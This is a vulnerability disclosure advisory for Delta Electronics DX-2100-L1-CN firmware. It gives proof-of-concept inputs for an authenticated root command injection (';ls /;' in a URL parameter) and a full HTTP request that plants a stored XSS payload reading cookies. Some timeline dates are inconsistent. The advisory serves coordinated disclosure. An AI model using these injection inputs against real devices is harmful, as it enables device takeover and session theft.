Delta Electronics DX-2100-L1-CN 1.5.0.10 Command Injection / XSS

CyberDanube Security Research 20221130-0-------------------------------------------------------------------------------                title| Multiple Vulnerabilities              product| Delta Electronics DX-2100-L1-CN   vulnerable version| V1.5.0.10        fixed version| V1.5.0.12           CVE number| -               impact| High             homepage| https://www.deltaww.com                found| 2022-08-01                   by| T. Weber (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Delta, founded in 1971, is a global provider of power and thermal managementsolutions. Its mission statement, "To provide innovative, clean and energy-efficient solutions for a better tomorrow," focuses on addressing keyenvironmental issues such as global climate change. As an energy-savingsolutions provider with core competencies in power electronics and automation,Delta's business categories include Power Electronics, Automation, andInfrastructure."Source: https://www.deltaww.com/en-US/about/aboutProfileVulnerable versions-------------------------------------------------------------------------------DX-2100-L1-CN / V1.5.0.10Vulnerability overview-------------------------------------------------------------------------------1) Authenticated Command InjectionAn authenticated command injection has been identified in the web configurationservice of the device. It can be used to execute system commands on the OS fromthe device in the context of the user "root". Therefore, a full compromizationof the device is possible by having credentials for the web service only.2) Stored Cross-Site ScriptingA stored cross-site scripting vulnerability has been identified in the function"net diagnosis" on the device's web configuration service. This can beexploited in the context of a victim's session.Proof of Concept-------------------------------------------------------------------------------1) Authenticated Command InjectionThe parameter "diagnose_address" contains the payload ";ls /;", which basicallyprints the content of the root directory to the serial terminal of the device.http://192.168.3.150/lform/net_diagnose?action=diagnose&diagnose_type=0&diagnose_address=;ls%20/;The output can be seen in the context of a virtualized firmware clone, as usedto find this vulnerability, but is usually invisible to a customer. Therefore,a more visible payload may be commands that interact via the network, like";ping 192.168.0.10;". This command will ping a device on the corresponding IPaddress within the local network.2) Stored Cross-Site ScriptingThe following code prints the current cached cookies of a user's session to thescreen. The JavaScript code will be stored on the device permanently.===============================================================================POST /lform/urlfilter?action=save HTTP/1.1Host: 192.168.3.150Accept: */*Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 190Connection: keep-aliveCookie: language=en_US; userindex=1; loginexpire=1648630746607; session=30lan_ipaddr=192.168.5.5&lan_netmask=255.255.255.0&src_addr_start=&src_addr_end=&editnum=0&bfilter_urllist=0&url_addr=<script>alert(document.cookie)</script>&src_addr_type=0&filter_state=1===============================================================================The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Update to firmware version V1.5.0.12.Workaround-------------------------------------------------------------------------------NoneRecommendation-------------------------------------------------------------------------------CyberDanube recommends Delta Electronics customers to upgrade the firmware tothe latest version available.Contact Timeline-------------------------------------------------------------------------------2022-08-02: Contacting Delta Electronics.2022-08-10: Vendor requested the advisory without encryption; Sent advisory to             Delta Electronics.2022-08-16: Security contact asked few questions regarding responsible             disclosure; Sent answers.2022-08-30: Asked for an update.2022-09-01: Vendor responded, that they will need more time to resolve the             issues; Provided additional 30 days (until 2022-11-02) for patching.2022-10-11: Asked for an update.2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted             release date to this date.2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted advisory             release date to the same day.2022-10-17: Asked for an update regarding the release; No answer.2022-10-18: Asked for an update and shifted release date to 2022-10-22.2022-10-19: Vendor responded, that there were problems at releasing the patch.             Contact stated, that the patch will delay until end of November.2022-10-21: Asked vendor for a concrete release date; No answer.2022-10-28: Announced advisory release date for 2022-10-30 to vendor.2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors             website.2022-10-30: Vendor confirmed fixes. Coordinated release of security advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF T. Weber / @2022